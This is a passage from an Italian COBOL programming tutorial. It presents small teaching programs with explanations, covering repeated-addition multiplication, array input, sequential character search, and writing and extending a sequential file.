Vengono ricevuti dall’esterno i valori per le variabili ‘**A**’ e ‘**B**’ tramite il paragrafo ‘**INSERIMENTO-DATI**’.

Viene eseguito il paragrafo ‘**LAVORO**’ ripetutamente, terminando il ciclo quando la variabile ‘**EOJ**’ contiene il valore uno.

Il programma si arresta perché incontra l’istruzione ‘**STOP RUN**’.

Paragrafo '**LAVORO**'

Viene eseguito tramite l'istruzione '**PERFORM**' il paragrafo '**SOMMA**' ripetutamente, decrementando il valore della variabile '**B**', fino a zero, quando il ciclo termina. A quel punto, la variabile '**C**' contiene il risultato del prodotto, che viene visualizzato con l'istruzione '**DISPLAY**'.

Il programma riceve dall'esterno una parola: un '**SI**' o un '**NO**'; se viene fornita la stringa '**SI**' (scritta con lettere maiuscole) il programma azzera il contenuto della variabile '**C**' ed esegue il paragrafo '**INSERIMENTO-DATI**', altrimenti, viene messo il valore uno nella variabile '**EOJ**'.

Paragrafo '**INSERIMENTO-DATI**'

Il paragrafo riceve dall'esterno i valori per le variabili '**A**' e '**B**'.

Paragrafo '**SOMMA**'

Viene sommato al contenuto di '**C**' il valore di '**A**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0500.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-14.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  A        PIC 9(7).
001200 01  B        PIC 9(7).
001300 01  C        PIC 9(14)   VALUE ZERO.
001400 01  EOJ      PIC 9       VALUE ZERO.
001500 01  RISPOSTA PIC XX.
001600*
001700 PROCEDURE DIVISION.
001800*------------------------- LIVELLO 0 -----------------------------
001900 MAIN.
002000     PERFORM INSERIMENTO-DATI.
002100     PERFORM LAVORO UNTIL EOJ = 1.
002200*
002300     STOP RUN.
002400*------------------------- LIVELLO 1 -----------------------------
002500 LAVORO.
002600     PERFORM SOMMA VARYING B FROM B BY -1 UNTIL B = 0.
002700     DISPLAY C.
002800*
002900     DISPLAY "VUOI CONTINUARE? SI O NO".
003000     ACCEPT RISPOSTA.
003100*
003200     IF RISPOSTA = "SI"
003300       THEN
003400           MOVE ZERO TO C,
003500           PERFORM INSERIMENTO-DATI;
003600       ELSE
```

```
003700           MOVE 1 TO EOJ.
003800*------------------------- LIVELLO 2 ----------------------------
003900 INSERIMENTO-DATI.
004000     DISPLAY "INSERISCI IL PRIMO ELEMENTO".
004100     ACCEPT A.
004200     DISPLAY "INSERISCI IL SECONDO ELEMENTO".
004300     ACCEPT B.
004400*-----------------------------------------------------------------
004500 SOMMA.
004600     COMPUTE C = C + A.
004700*
```

84.2.6 ELM0600: inserimento dati in un vettore

Variabili

‘**RECORD-ELEMENTI**’ è una variabile che si scompone in un array;

‘**ELEMENTO**’ è l’array che costituisce ‘**RECORD-ELEMENTI**’;

‘**INDICE**’ è l’indice usato per scandire gli elementi;

‘**EOJ**’ quando assume il valore 1 il programma si arresta;

‘**RISPOSTA**’ è la variabile che riceve la risposta, un ‘**SI**’ o un ‘**NO**’, per la continuazione o meno con un altro calcolo.

Descrizione

Il programma esegue semplicemente un inserimento di dati all’interno degli elementi dell’array, con un accesso libero (bisogna ricordare che l’indice del primo elemento è uno), specificando prima l’indice e poi il valore (il carattere) da attribuire all’elemento.

Paragrafo ‘**MAIN**’

Viene eseguito una volta il paragrafo ‘**INSERIMENTO-INDICE**’, che serve a ricevere il valore dell’indice di inserimento dall’utente.

Viene eseguito il paragrafo ‘**LAVORO**’ ripetutamente, terminando il ciclo quando la variabile ‘**EOJ**’ contiene il valore uno.

Viene visualizzato il valore di tutta la variabile ‘**RECORD-ELEMENTI**’, attraverso l’istruzione ‘**DISPLAY**’.

Il programma si arresta perché incontra l’istruzione ‘**STOP RUN**’.

Paragrafo ‘**LAVORO**’

Il programma riceve dall’esterno il valore per ‘**ELEMENTO(INDICE)**’.

Il programma riceve dall’esterno l’assenso o il dissenso riguardo alla continuazione dell’esecuzione; se l’intenzione è di proseguire, viene eseguito il paragrafo ‘**INSERIMENTO-INDICE**’, altrimenti viene messo il valore uno nella variabile ‘**EOJ**’.

Paragrafo ‘**INSERIMENTO-INDICE**’

Il programma riceve dall’esterno il valore per la variabile ‘**INDICE**’.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0600.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-14.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-ELEMENTI.
001200     02  ELEMENTO  PIC X   OCCURS 9 TIMES.
001300 01  INDICE        PIC 9.
001400 01  EOJ           PIC 9   VALUE ZERO.
001500 01  RISPOSTA      PIC XX.
001600*
001700 PROCEDURE DIVISION.
001800*------------------------- LIVELLO 0 -----------------------------
001900 MAIN.
002000     PERFORM INSERIMENTO-INDICE.
002100     PERFORM LAVORO UNTIL EOJ = 1.
002200     DISPLAY RECORD-ELEMENTI.
002300*
002400     STOP RUN.
002500*------------------------- LIVELLO 1 -----------------------------
002600 LAVORO.
002700     DISPLAY "INSERISCI I DATI DI UN ELEMENTO (UN SOLO CARATTERE)".
002800     ACCEPT ELEMENTO(INDICE).
002900*
003000     DISPLAY "VUOI CONTINUARE? SI O NO".
003100     ACCEPT RISPOSTA.
003200*
003300     IF RISPOSTA = "SI"
003400       THEN
003500           PERFORM INSERIMENTO-INDICE;
003600       ELSE
003700           MOVE 1 TO EOJ.
003800*------------------------- LIVELLO 2 -----------------------------
003900 INSERIMENTO-INDICE.
004000     DISPLAY "INSERISCI L'INDICE".
004100     ACCEPT INDICE.
004200*
```

84.2.7 ELM0700: inserimento dati in un vettore

Variabili

‘**RECORD-ELEMENTI**’ è una variabile che si scompone in un array;

‘**ELEMENTO**’ è l’array che costituisce ‘**RECORD-ELEMENTI**’;

‘**INDICE**’ è l’indice usato per scandire gli elementi;

'**EOJ**' quando assume il valore 1 il programma si arresta;

'**RISPOSTA**' è la variabile che riceve la risposta, un '**SI**' o un '**NO**', per la continuazione o meno con un altro calcolo.

Descrizione

Il programma esegue semplicemente un inserimento di dati all'interno degli elementi dell'array, con un accesso libero (bisogna ricordare che l'indice del primo elemento è uno), specificando prima l'indice e poi il valore (il carattere) da attribuire all'elemento.

Se l'indice che si inserisce è zero, viene richiesto nuovamente di fornire un dato valido.

Paragrafo '**MAIN**'

Viene eseguito paragrafo '**INSERIMENTO-INDICE**', che serve a ricevere il valore dell'indice di inserimento dall'utente, ripetendo l'operazione se il valore fornito è minore o uguale a zero.

Viene eseguito il paragrafo '**LAVORO**' ripetutamente, terminando il ciclo quando la variabile '**EOJ**' contiene il valore uno.

Viene visualizzato il valore di tutta la variabile '**RECORD-ELEMENTI**', attraverso l'istruzione '**DISPLAY**'.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

Paragrafo '**LAVORO**'

Il programma riceve dall'esterno il valore per '**ELEMENTO(INDICE)**'.

Il programma riceve dall'esterno l'assenso o il dissenso riguardo alla continuazione dell'esecuzione; se l'intenzione è di proseguire, dopo l'azzeramento della variabile '**INDICE**' viene eseguito il paragrafo '**INSERIMENTO-INDICE**', ripetutamente, ponendo come condizione di conclusione il fatto che la variabile '**INDICE**' abbia un valore maggiore di zero. Se invece l'utente rinuncia a proseguire, viene messo il valore uno nella variabile '**EOJ**'.

Paragrafo '**INSERIMENTO-INDICE**'

Il programma riceve dall'esterno il valore per la variabile '**INDICE**'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0700.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-14.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-ELEMENTI.
001200     02  ELEMENTO  PIC X   OCCURS 9 TIMES.
001300 01  INDICE        PIC 9.
001400 01  EOJ           PIC 9   VALUE ZERO.
001500 01  RISPOSTA      PIC XX.
001600*
001700 PROCEDURE DIVISION.
001800*------------------------- LIVELLO 0 -----------------------------
```

```
001900 MAIN.
002000     PERFORM INSERIMENTO-INDICE UNTIL INDICE > ZERO.
002100     PERFORM LAVORO UNTIL EOJ = 1.
002200     DISPLAY RECORD-ELEMENTI.
002300*
002400     STOP RUN.
002500*------------------------- LIVELLO 1 -----------------------------
002600 LAVORO.
002700     DISPLAY "INSERISCI I DATI DI UN ELEMENTO (UN SOLO CARATTERE)".
002800     ACCEPT ELEMENTO(INDICE).
002900*
003000     DISPLAY "VUOI CONTINUARE? SI O NO".
003100     ACCEPT RISPOSTA.
003200*
003300     IF RISPOSTA = "SI"
003400       THEN
003500           MOVE ZERO TO INDICE,
003600           PERFORM INSERIMENTO-INDICE UNTIL INDICE > ZERO;
003700       ELSE
003800           MOVE 1 TO EOJ.
003900*------------------------- LIVELLO 2 -----------------------------
004000 INSERIMENTO-INDICE.
004100     DISPLAY "INSERISCI L'INDICE".
004200     ACCEPT INDICE.
004300*
```

84.2.8 ELM0800: inserimento dati in un vettore

Variabili

‘**`RECORD-ELEMENTI`**’ è una variabile che si scompone in un array;

‘**`ELEMENTO`**’ è l’array che costituisce ‘**`RECORD-ELEMENTI`**’;

‘**`INDICE`**’ è l’indice usato per scandire gli elementi;

‘**`EOJ`**’ quando assume il valore 1 il programma si arresta;

‘**`RISPOSTA`**’ è la variabile che riceve la risposta, un ‘**`SI`**’ o un ‘**`NO`**’, per la continuazione o meno con un altro calcolo.

Descrizione

Il programma esegue semplicemente un inserimento di dati all’interno degli elementi dell’array, con un accesso libero (bisogna ricordare che l’indice del primo elemento è uno), specificando prima l’indice e poi il valore (il carattere) da attribuire all’elemento.

Se l’indice che si inserisce è zero, viene richiesto nuovamente di fornire un dato valido.

Paragrafo ‘**`MAIN`**’

Viene eseguito paragrafo ‘**`INSERIMENTO-INDICE`**’, che serve a ricevere il valore dell’indice di inserimento dall’utente.

Viene eseguito il paragrafo ‘**`LAVORO`**’ ripetutamente, terminando il ciclo quando la variabile ‘**`EOJ`**’ contiene il valore uno.

Viene visualizzato il valore di tutta la variabile '**RECORD-ELEMENTI**', attraverso l'istruzione '**DISPLAY**'.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

Paragrafo '**LAVORO**'

Il programma riceve dall'esterno il valore per '**ELEMENTO(INDICE)**'.

Il programma riceve dall'esterno l'assenso o il dissenso riguardo alla continuazione dell'esecuzione; se l'intenzione è di proseguire viene eseguito il paragrafo '**INSERIMENTO-INDICE**', in caso contrario, viene messo il valore uno nella variabile '**EOJ**'.

Paragrafo '**INSERIMENTO-INDICE**'

Il programma riceve dall'esterno il valore per la variabile '**INDICE**', quindi controlla che questo sia diverso da zero; in caso contrario, si ha una chiamata dello stesso paragrafo, in modo ricorsivo.

A causa della caratteristica ricorsiva del paragrafo '**INSERIMENTO-INDICE**', nel programma originale era riportato in un commento: «attenzione! può essere nocivo».

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0800.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-14.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-ELEMENTI.
001200     02  ELEMENTO  PIC X   OCCURS 9 TIMES.
001300 01  INDICE        PIC 9.
001400 01  EOJ           PIC 9   VALUE ZERO.
001500 01  RISPOSTA      PIC XX.
001600*
001700 PROCEDURE DIVISION.
001800*------------------------- LIVELLO 0 -----------------------------
001900 MAIN.
002000     PERFORM INSERIMENTO-INDICE.
002100     PERFORM LAVORO UNTIL EOJ = 1.
002200     DISPLAY RECORD-ELEMENTI.
002300*
002400     STOP RUN.
002500*------------------------- LIVELLO 1 -----------------------------
002600 LAVORO.
002700     DISPLAY "INSERISCI I DATI DI UN ELEMENTO",
002800             " (UN SOLO CARATTERE)".
002900     ACCEPT ELEMENTO(INDICE).
003000*
003100     DISPLAY "VUOI CONTINUARE? SI O NO".
003200     ACCEPT RISPOSTA.
003300*
```

```
003400     IF RISPOSTA = "SI"
003500       THEN
003600           PERFORM INSERIMENTO-INDICE;
003700       ELSE
003800           MOVE 1 TO EOJ.
003900*------------------------ LIVELLO 2 -----------------------------
004000 INSERIMENTO-INDICE.
004100     DISPLAY "INSERISCI L'INDICE".
004200     ACCEPT INDICE.
004300     IF INDICE = 0
004400       THEN
004500           PERFORM INSERIMENTO-INDICE.
004600*
```

84.2.9 ELM0900: ricerca sequenziale all'interno di un vettore

Variabili

‘**RECORD-ELEMENTI**’ è una variabile usata per accogliere una stringa;

‘**ELEMENTO**’ è un array che scompone ‘**RECORD-ELEMENTI**’ in caratteri singoli;

‘**POSIZIONE**’ è l'indice usato per scandire gli elementi della stringa;

‘**EOJ**’ quando assume il valore 1 il programma si arresta;

‘**RISPOSTA**’ è la variabile che riceve la risposta, un ‘**SI**’ o un ‘**NO**’, per la continuazione o meno con un altro calcolo;

‘**LETTERA**’ è la variabile che contiene la lettera da cercare nella stringa.

Descrizione

Il programma riceve dall'esterno il contenuto di una stringa e di una lettera che dovrebbe essere contenuta nella stringa stessa; successivamente il programma scandisce la stringa come vettore di caratteri e individua la prima posizione in cui appare la lettera cercata.

Paragrafo ‘**MAIN**’

Viene eseguito paragrafo ‘**INSERIMENTO-DATI**’.

Viene eseguito il paragrafo ‘**LAVORO**’ ripetutamente, terminando il ciclo quando la variabile ‘**EOJ**’ contiene il valore uno.

Il programma si arresta perché incontra l'istruzione ‘**STOP RUN**’.

Paragrafo ‘**LAVORO**’

Il programma esegue il paragrafo ‘**RICERCA**’.

A questo punto la variabile ‘**POSIZIONE**’ contiene la posizione della lettera contenuta nella variabile ‘**LETTERA**’ e viene visualizzata.

Il programma riceve dall'esterno l'assenso o il dissenso riguardo alla continuazione dell'esecuzione; se l'intenzione è di proseguire, viene eseguito il paragrafo ‘**INSERIMENTO-DATI**’, in caso contrario, viene messo il valore uno nella variabile ‘**EOJ**’.

Paragrafo ‘**INSERIMENTO-DATI**’

Il programma riceve dall'esterno una stringa da inserire nella variabile ‘**RECORD-ELEMENTI**’ e la lettera da ricercare nella stringa.

Paragrafo '**RICERCA**'

Viene eseguito un paragrafo che non esegue alcunché (l'istruzione '**EXIT**') scandendo l'indice '**POSIZIONE**' a partire da uno, con passo unitario, terminando quando il contenuto di '**ELEMENTO(POSIZIONE)**' coincide con il valore di '**LETTERA**', ovvero quando la posizione della lettera nella stringa è stata trovata.

In pratica, il paragrafo '**EXIT-PARAGRAPH**' è una scusa per utilizzare la scansione dell'istruzione '**PERFORM VARYING**'.

Paragrafo '**EXIT-PARAGRAPH**'

Il paragrafo non fa alcunché.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM0900.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-15.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-ELEMENTI.
001200     02  ELEMENTO  PIC X   OCCURS 60 TIMES.
001300 01  POSIZIONE     PIC 99.
001500 01  EOJ           PIC 9   VALUE ZERO.
001600 01  RISPOSTA      PIC XX.
001700 01  LETTERA       PIC X.
001800*
001900 PROCEDURE DIVISION.
002000*------------------------- LIVELLO 0 -----------------------------
002100 MAIN.
002200     PERFORM INSERIMENTO-DATI.
002300     PERFORM LAVORO UNTIL EOJ = 1.
002400*
002500     STOP RUN.
002600*------------------------- LIVELLO 1 -----------------------------
002700 LAVORO.
002800     PERFORM RICERCA.
002900     DISPLAY "LA LETTERA ", LETTERA,
003000             " E' NELLA POSIZIONE ", POSIZIONE.
003100*
003200     DISPLAY "VUOI CONTINUARE? SI O NO".
003300     ACCEPT RISPOSTA.
003400*
003500     IF RISPOSTA = "SI"
003600       THEN
003700           PERFORM INSERIMENTO-DATI;
003800       ELSE
003900           MOVE 1 TO EOJ.
004000*------------------------- LIVELLO 2 -----------------------------
004100 INSERIMENTO-DATI.
004200     DISPLAY "INSERISCI LA FRASE".
```

```
004300     ACCEPT RECORD-ELEMENTI.
004400*
004500     DISPLAY "INSERISCI LA LETTERA DA TROVARE".
004600     ACCEPT LETTERA.
004700*-----------------------------------------------------------------
004800 RICERCA.
004900     PERFORM EXIT-PARAGRAPH
005000             VARYING POSIZIONE FROM 1 BY 1
005100             UNTIL ELEMENTO(POSIZIONE) = LETTERA.
005200*------------------------- LIVELLO 3 -----------------------------
005300 EXIT-PARAGRAPH.
005400     EXIT.
005500*
```

84.2.10 ELM1000: ricerca sequenziale all'interno di un vettore

Variabili

‘**RECORD-ELEMENTI**’ è una variabile usata per accogliere una stringa;

‘**ELEMENTO**’ è un array che scompone ‘**RECORD-ELEMENTI**’ in caratteri singoli;

‘**POSIZIONE**’ è l'indice usato per scandire gli elementi della stringa;

‘**EOJ**’ quando assume il valore 1 il programma si arresta;

‘**RISPOSTA**’ è la variabile che riceve la risposta, un ‘**SI**’ o un ‘**NO**’, per la continuazione o meno con un altro calcolo;

‘**LETTERA**’ è la variabile che contiene la lettera da cercare nella stringa.

Descrizione

Il programma riceve dall'esterno il contenuto di una stringa e di una lettera che dovrebbe essere contenuta nella stringa stessa; successivamente il programma scandisce la stringa come vettore di caratteri e individua la prima posizione in cui appare la lettera cercata.

Rispetto a ‘**ELM0900**’ la scansione della stringa si arresta anche se non viene trovata alcuna corrispondenza.

Paragrafo ‘**MAIN**’

Viene eseguito paragrafo ‘**INSERIMENTO-DATI**’.

Viene eseguito il paragrafo ‘**LAVORO**’ ripetutamente, terminando il ciclo quando la variabile ‘**EOJ**’ contiene il valore uno.

Il programma si arresta perché incontra l'istruzione ‘**STOP RUN**’.

Paragrafo ‘**LAVORO**’

Il programma esegue il paragrafo ‘**RICERCA**’.

A questo punto la variabile ‘**POSIZIONE**’ contiene la posizione della lettera contenuta nella variabile ‘**LETTERA**’ e viene visualizzata.

Il programma riceve dall'esterno l'assenso o il dissenso riguardo alla continuazione dell'esecuzione; se l'intenzione è di proseguire, viene eseguito il paragrafo ‘**INSERIMENTO-DATI**’, in caso contrario, viene messo il valore uno nella variabile ‘**EOJ**’.

Paragrafo ‘**INSERIMENTO-DATI**’

Il programma riceve dall’esterno una stringa da inserire nella variabile ‘**RECORD-ELEMENTI**’ e la lettera da ricercare nella stringa.

Paragrafo ‘**RICERCA**’

Viene eseguito un paragrafo che non esegue alcunché (l’istruzione ‘**EXIT**’) scandendo l’indice ‘**POSIZIONE**’ a partire da uno, con passo unitario, terminando quando si supera la dimensione della stringa oppure quando il contenuto di ‘**ELEMENTO(POSIZIONE)**’ coincide con il valore di ‘**LETTERA**’, ovvero quando la posizione della lettera nella stringa è stata trovata.

In pratica, il paragrafo ‘**EXIT-PARAGRAPH**’ è una scusa per utilizzare la scansione dell’istruzione ‘**PERFORM VARYING**’.

Paragrafo ‘**EXIT-PARAGRAPH**’

Il paragrafo non fa alcunché.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM1000.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-15.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-ELEMENTI.
001200     02  ELEMENTO  PIC X   OCCURS 60 TIMES.
001300 01  POSIZIONE     PIC 99.
001400 01  EOJ           PIC 9   VALUE ZERO.
001500 01  RISPOSTA      PIC XX.
001600 01  LETTERA       PIC X.
001700*
001800 PROCEDURE DIVISION.
001900*------------------------- LIVELLO 0 -----------------------------
002000 MAIN.
002100     PERFORM INSERIMENTO-DATI.
002200     PERFORM LAVORO UNTIL EOJ = 1.
002300*
002400     STOP RUN.
002500*------------------------- LIVELLO 1 -----------------------------
002600 LAVORO.
002700     PERFORM RICERCA.
002800     DISPLAY "LA LETTERA ", LETTERA,
002900             " E’ NELLA POSIZIONE ", POSIZIONE.
003000*
003100     DISPLAY "VUOI CONTINUARE? SI O NO".
003200     ACCEPT RISPOSTA.
003300*
003400     IF RISPOSTA = "SI"
003500       THEN
003600           PERFORM INSERIMENTO-DATI;
```

```
003700        ELSE
003800            MOVE 1 TO EOJ.
003900*------------------------- LIVELLO 2 -----------------------------
004000 INSERIMENTO-DATI.
004100     DISPLAY "INSERISCI LA FRASE".
004200     ACCEPT RECORD-ELEMENTI.
004300*
004400     DISPLAY "INSERISCI LA LETTERA DA TROVARE".
004500     ACCEPT LETTERA.
004600*-----------------------------------------------------------------
004700 RICERCA.
004800     PERFORM EXIT-PARAGRAPH
004900             VARYING POSIZIONE FROM 1 BY 1
005000             UNTIL POSIZIONE > 60
005100             OR    ELEMENTO(POSIZIONE) = LETTERA.
005200*------------------------- LIVELLO 3 -----------------------------
005300 EXIT-PARAGRAPH.
005400     EXIT.
005500*
```

84.2.11 ELM1100: ricerca sequenziale all'interno di un vettore

Variabili

'**RECORD-ELEMENTI**' è una variabile usata per accogliere una stringa;

'**ELEMENTO**' è un array che scompone '**RECORD-ELEMENTI**' in caratteri singoli;

'**POSIZIONE**' è l'indice usato per scandire gli elementi della stringa;

'**EOJ**' quando assume il valore 1 il programma si arresta;

'**RISPOSTA**' è la variabile che riceve la risposta, un '**SI**' o un '**NO**', per la continuazione o meno con un altro calcolo;

'**LETTERA**' è la variabile che contiene la lettera da cercare nella stringa.

Descrizione

Il programma riceve dall'esterno il contenuto di una stringa e di una lettera che dovrebbe essere contenuta nella stringa stessa; successivamente il programma scandisce la stringa come vettore di caratteri e individua la prima posizione in cui appare la lettera cercata.

Rispetto a '**ELM1000**' si ottiene un avvertimento quando si indica una lettera che non è contenuta nella frase.

Paragrafo '**MAIN**'

Viene eseguito paragrafo '**INSERIMENTO-DATI**'.

Viene eseguito il paragrafo '**LAVORO**' ripetutamente, terminando il ciclo quando la variabile '**EOJ**' contiene il valore uno.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

Paragrafo '**LAVORO**'

Il programma esegue il paragrafo '**RICERCA**'.

A questo punto la variabile '**POSIZIONE**' contiene la posizione della lettera contenuta nella variabile '**LETTERA**': se il valore della posizione supera la dimensione massima dell'array, si ottiene un avvertimento dell'impossibilità di trovare la corrispondenza, altrimenti viene visualizzata la posizione trovata.

Il programma riceve dall'esterno l'assenso o il dissenso riguardo alla continuazione dell'esecuzione; se l'intenzione è di proseguire, viene eseguito il paragrafo '**INSERIMENTO-DATI**', in caso contrario, viene messo il valore uno nella variabile '**EOJ**'.

Paragrafo '**INSERIMENTO-DATI**'

Il programma riceve dall'esterno una stringa da inserire nella variabile '**RECORD-ELEMENTI**' e la lettera da ricercare nella stringa.

Paragrafo '**RICERCA**'

Viene eseguito un paragrafo che non esegue alcunché (l'istruzione '**EXIT**') scandendo l'indice '**POSIZIONE**' a partire da uno, con passo unitario, terminando quando si supera la dimensione della stringa oppure quando il contenuto di '**ELEMENTO(POSIZIONE)**' coincide con il valore di '**LETTERA**', ovvero quando la posizione della lettera nella stringa è stata trovata.

In pratica, il paragrafo '**EXIT-PARAGRAPH**' è una scusa per utilizzare la scansione dell'istruzione '**PERFORM VARYING**'.

Paragrafo '**EXIT-PARAGRAPH**'

Il paragrafo non fa alcunché.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM1100.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-15.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 DATA DIVISION.
000900*
001000 WORKING-STORAGE SECTION.
001100 01  RECORD-ELEMENTI.
001200     02  ELEMENTO  PIC X   OCCURS 60 TIMES.
001300 01  POSIZIONE     PIC 99.
001400 01  EOJ           PIC 9   VALUE ZERO.
001500 01  RISPOSTA      PIC XX.
001600 01  LETTERA       PIC X.
001700*
001800 PROCEDURE DIVISION.
001900*------------------------- LIVELLO 0 -----------------------------
002000 MAIN.
002100     PERFORM INSERIMENTO-DATI.
002200     PERFORM LAVORO UNTIL EOJ = 1.
002300*
002400     STOP RUN.
002500*------------------------- LIVELLO 1 -----------------------------
002600 LAVORO.
002700     PERFORM RICERCA.
```

```
002800*
002900     IF POSIZIONE < 61
003000       THEN
003100           DISPLAY "LA LETTERA ", LETTERA,
003200                   " E' NELLA POSIZIONE ", POSIZIONE;
003300       ELSE
003400           DISPLAY "LA LETTERA ", LETTERA,
003500                   " NON E' CONTENUTA NELLA FRASE".
003600*
003700     DISPLAY "VUOI CONTINUARE? SI O NO".
003800     ACCEPT RISPOSTA.
003900*
004000     IF RISPOSTA = "SI"
004100       THEN
004200           PERFORM INSERIMENTO-DATI;
004300       ELSE
004400           MOVE 1 TO EOJ.
004500*------------------------- LIVELLO 2 -----------------------------
004600 INSERIMENTO-DATI.
004700     DISPLAY "INSERISCI LA FRASE".
004800     ACCEPT RECORD-ELEMENTI.
004900*
005000     DISPLAY "INSERISCI LA LETTERA DA TROVARE".
005100     ACCEPT LETTERA.
005200*-----------------------------------------------------------------
005300 RICERCA.
005400     PERFORM EXIT-PARAGRAPH
005500             VARYING POSIZIONE FROM 1 BY 1
005600             UNTIL POSIZIONE > 60
005700             OR    ELEMENTO(POSIZIONE) = LETTERA.
005800*------------------------- LIVELLO 3 -----------------------------
005900 EXIT-PARAGRAPH.
006000     EXIT.
006100*
```

84.2.12 ELM1300: creazione di un file sequenziale

File

‘**FILE-DA-SCRIVERE**’ rappresenta il file che viene creato dal programma (il nome del file è ‘output.seq’). Il file è di tipo sequenziale, dove la riga ha una dimensione fissa; non si prevede l’inserimento di un codice di interruzione di riga alla fine delle righe.

Variabili

‘**RECORD-DA-SCRIVERE**’ è la riga del file da creare;

‘**EOJ**’ quando assume il valore 1 il programma si arresta.

Descrizione

Il programma riceve dall’esterno il contenuto di ogni riga e di volta in volta lo registra nel file. Il programma termina il lavoro quando la stringa inserita contiene solo asterischi (almeno 30, pari alla larghezza massima prevista di ogni riga).

Paragrafo '**MAIN**'

Viene aperto in scrittura il file da creare.

Viene eseguito il paragrafo '**INSERIMENTO-DATI**'.

Viene eseguito il paragrafo '**LAVORO**' ripetutamente, concludendo il ciclo quando la variabile '**EOJ**' contiene il valore uno.

Viene chiuso il file da creare.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

Paragrafo '**LAVORO**'

Si controlla se la stringa inserita contiene soltanto asterischi; se è così viene messo il valore uno nella variabile '**EOJ**', altrimenti viene scritta la riga inserita nel file da scrivere e subito dopo viene eseguito nuovamente il paragrafo '**INSERIMENTO-DATI**'.

Paragrafo '**INSERIMENTO-DATI**'

Il paragrafo riceve dall'esterno il contenuto di una riga da registrare nel file, tenendo conto che vengono prese in considerazione al massimo i primi 30 caratteri, pari alla dimensione della variabile che deve accogliere i dati.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   ELM1300.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1985-02-20.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-SCRIVERE ASSIGN TO "output.seq"
001300                             ORGANIZATION IS SEQUENTIAL.
001400*
001500 DATA DIVISION.
001600*
001700 FILE SECTION.
001800*
001900 FD  FILE-DA-SCRIVERE
002000     LABEL RECORD IS STANDARD.
002100*
002200 01  RECORD-DA-SCRIVERE PIC X(30).
002300*
002400 WORKING-STORAGE SECTION.
002500 01  EOJ                PIC 9   VALUE ZERO.
002600*
002700 PROCEDURE DIVISION.
002800*------------------------- LIVELLO 0 -----------------------------
002900 MAIN.
003000     OPEN OUTPUT FILE-DA-SCRIVERE.
003100     PERFORM INSERIMENTO-DATI.
003200     PERFORM LAVORO UNTIL EOJ = 1.
003300     CLOSE FILE-DA-SCRIVERE.
```

```
003400*
003500     STOP RUN.
003600*------------------------ LIVELLO 1 -----------------------------
003700 LAVORO.
003800     IF RECORD-DA-SCRIVERE = ALL "*"
003900       THEN
004000           MOVE 1 TO EOJ;
004100       ELSE
004200           WRITE RECORD-DA-SCRIVERE,
004300           PERFORM INSERIMENTO-DATI.
004400*------------------------ LIVELLO 2 -----------------------------
004500 INSERIMENTO-DATI.
004600     DISPLAY "INSERISCI IL RECORD".
004700     DISPLAY "PER FINIRE INSERISCI TUTTI ASTERISCHI".
004800     ACCEPT RECORD-DA-SCRIVERE.
004900*
```

Per fare in modo che le righe del file siano concluse come avviene di solito nei file di testo, con un codice di interruzione di riga, occorre specificare nell'istruzione '**SELECT**' un accesso di tipo '**LINE SEQUENTIAL**'.

84.2.13 ELM1400: estensione di un file sequenziale

File

'**FILE-DA-SCRIVERE**' rappresenta il file che viene esteso dal programma (il nome del file è '`output.seq`'). Il file è di tipo sequenziale, dove la riga ha una dimensione fissa; non si prevede l'inserimento di un codice di interruzione di riga alla fine delle righe.

Variabili

'**RECORD-DA-SCRIVERE**' è la riga del file da creare;

'**EOJ**' quando assume il valore 1 il programma si arresta.

Descrizione

Il programma riceve dall'esterno il contenuto di ogni riga e di volta in volta lo registra nel file. Il programma termina il lavoro quando la stringa inserita contiene solo asterischi (almeno 30, pari alla larghezza massima prevista di ogni riga).

Paragrafo '**MAIN**'

Viene aperto in scrittura in aggiunta il file da creare.

Viene eseguito il paragrafo '**INSERIMENTO-DATI**'.

Viene eseguito il paragrafo '**LAVORO**' ripetutamente, concludendo il ciclo quando la variabile '**EOJ**' contiene il valore uno.

Viene chiuso il file da creare.

Il programma si arresta perché incontra l'istruzione '**STOP RUN**'.

Paragrafo '**LAVORO**'

